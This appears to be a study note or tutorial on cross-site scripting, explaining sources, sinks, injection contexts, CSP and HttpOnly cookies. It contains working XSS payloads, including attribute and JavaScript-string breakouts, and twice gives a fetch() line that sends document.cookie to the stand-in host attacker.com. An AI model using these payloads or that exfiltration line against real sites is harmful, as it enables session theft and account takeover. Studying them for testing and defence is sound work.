The objective of an XSS is to get the app to execute JavaScript code controlled by the attacker.
Things to keep in mind:
- Source: where the attacker-controlled data comes from. For example, a URL parameter, a form, a cookie, location.hash, etc.
- Sink: where that data ends up and how the application interprets it. For example,
innerHTML,eval(), an HTML attribute, or JavaScript code. - Context: how the data is interpreted at that point. It is not the same to be inside HTML text, an attribute, JavaScript, CSS, or a URL.
- Sanitization: what transformations or filters are applied before the data reaches the sink.
- Execution: whether we can finally get our input to be interpreted as code instead of as data.
Types
- Reflected XSS: the payload comes from the current HTTP request:
https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>- Stored XSS: where the malicious script comes from the website’s database (usernames, comments, etc.).
- DOM XSS: where the vulnerability resides in the client-side code instead of the server-side code.
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;- Blind stored: The payload is stored in a part of the application that cannot be viewed directly.
- Self-XSS: The victim must perform a manual action, usually executing code provided by the attacker in the browser console.
How to identify it
Tests to detect reflected and stored XSS involve sending a unique input to each input of the application, identifying each location where the submitted input is returned in the HTTP responses and how the input is handled, then each location is tested individually to determine whether a properly crafted input can be used to execute arbitrary JavaScript.
Note
To check JavaScript execution you can use a payload such as
alert(1)orprint()
Fundamentals
DOM
The DOM (Document Object Model) is the representation of an HTML page that the browser creates.
For example, if you have this HTML:
<html>
<body>
<h1>Hello</h1>
<p>Text</p>
</body>
</html>The browser creates internally something similar to:
Document
└── html
└── body
├── h1
│ └── "Hello"
└── p
└── "Text"JavaScript can access DOM elements:
document.querySelector("h1")
// document = DOMThe objective of XSS is for attacker-controlled data to end up in a part of the DOM where it can be interpreted as HTML or JavaScript.
location
location contains information about the URL of the current page.
location.href contains the full URL.
Other properties:
https://example.com/search?q=linux#test| Property | Result |
|---|---|
location.protocol | https: |
location.host | example.com |
location.pathname | /search |
location.search | ?q=linux |
location.hash | #test |
innerHTML
innerHTML allows reading or modifying the HTML inside an element.
<div id="output"></div>const output = document.getElementById("output");
output.innerHTML = "<b>Hello</b>";Results in:
<div id="output">
<b>Hello</b>
</div>If user-controlled data reaches an innerHTML without adequate protection, it can end up being interpreted as HTML.
eval
eval() executes a string as JavaScript code:
eval("alert(1)");Therefore, if a user-controlled value reaches eval() without protection, a serious vulnerability may exist.
Sinks
Place where the input ends up being interpreted as HTML or JavaScript.
Important
Not all sinks behave the same nor are the same exploits always used.
document.write()
document.write(input);Writes HTML directly into the document.
Payload:
<script>aletr()</script>It is an especially interesting sink because it does not simply introduce text, it introduces HTML markup.
innerHTML
element.innerHTML = input;The browser interprets input as HTML.
Test payload:
<img src=x onerror=alert(1)>A <script> inserted through innerHTML normally does not execute, but an event attribute such as onerror can execute JavaScript when the loading error occurs.
eval()
Here the context changes completely.
eval() interprets the content as JavaScript code.
Payload:
alert(1)Why: you don’t need HTML. The sink is already executing JavaScript directly.
HTML attributes
This is one of the most important contexts. Given:
element.innerHTML = `<input value="${input}">`;Here input is inside an HTML attribute. With the following input you can escape the attribute.
" autofocus onfocus=alert(1) x="The conceptual result would be:
<input value="" autofocus onfocus=alert(1) x="">Note
Investigate how to make that element execute JS from the attributes First you have to escape the attribute context and then introduce an executable attribute.
JavaScript code
There are cases where the input can reach the JavaScript code directly, for example, inside a variable. In these cases, the characters introduced can be interpreted as code instead of as data.
If the input is inserted directly into the JavaScript code, an attacker could close the current context, execute their own code, and comment out the remaining content.
For example:
const name = 'USER_INPUT';With the following input we could execute JS code:
'; print(); //const name = ''; print(); //';CSP
CSP (Content Security Policy) is a browser security mechanism that allows controlling which resources a web page can load and from where it can load them. It is important for preventing XSS.
The server sends an HTTP header called Content-Security-Policy to the browser.
Content-Security-Policy: default-src 'self'; script-src 'self'| Directive | Function |
|---|---|
| default-src ‘self’ | Allows loading resources from the same origin as the page by default. |
| script-src ‘self’ | Allows executing authorized scripts according to their origin, limiting them to the same origin. |
| ‘self’ | refers to the same origin: same scheme, host, and port. |
Cookies
HttpOnly prevents JavaScript from reading the cookie through APIs such as document.cookie.
If a session cookie does not have HttpOnly, an XSS could read it and send it to a server controlled by the attacker:
fetch('https://attacker.com/c?c=' + btoa(document.cookie))This could allow a cookie hijacking, if the cookie contains a session identifier that the server accepts to authenticate the user.
Tips
- If a framework such as Angular, React, etc. is being used, the payload changes.
- In the HTTP history section of Burp suite, if you filter by js you can download the JavaScript files to analyze them. If they are obfuscated use the
prettiertool to format it.
Payloads
<script>print()</script> # basic
<img src=x onerror=alert(1)> # no script tag, uses event
<svg onload=alert(1)> # SVG allows events
"><img src=x onerror=alert(1)> # closes attribute/string first
fetch('https://attacker.com/c?c='+btoa(document.cookie)) # cookie exfil